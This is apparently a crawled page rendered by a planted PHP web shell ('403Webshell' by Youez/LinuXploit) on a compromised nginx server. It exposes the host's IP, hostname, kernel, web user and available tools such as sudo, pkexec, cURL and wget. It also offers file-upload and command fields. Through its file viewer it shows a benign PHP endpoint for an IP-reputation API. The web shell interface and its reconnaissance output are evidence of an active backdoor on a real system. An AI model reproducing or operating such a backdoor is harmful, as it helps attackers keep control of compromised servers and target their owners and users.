403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web21/web/api/v1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web21/web/api/v1/reputation.php
<?php
/**
 * Einzelwert: externe IP-Reputation (Gateway) → GET /api/v1/reputation.php?ip=<ip>
 *
 * @package SafeMyIdent\Api
 */

declare(strict_types=1);

require __DIR__ . '/../lib/boot2.php';

$ip = trim((string) ($_GET['ip'] ?? ''));
if ($ip === '' || smi_ip_version($ip) === 0 || !smi_ip_is_public($ip)) {
    smi_json_error('Bitte eine gültige öffentliche IP angeben.', 422);
}

if (!smi_intel_enabled()) {
    smi_json_ok(['intel' => null]); // Gateway nicht konfiguriert – kein Fehler.
}

$intel = smi_intel_check($ip);
smi_json_ok(['intel' => $intel]);

Youez - 2016 - github.com/yon3zu
LinuXploit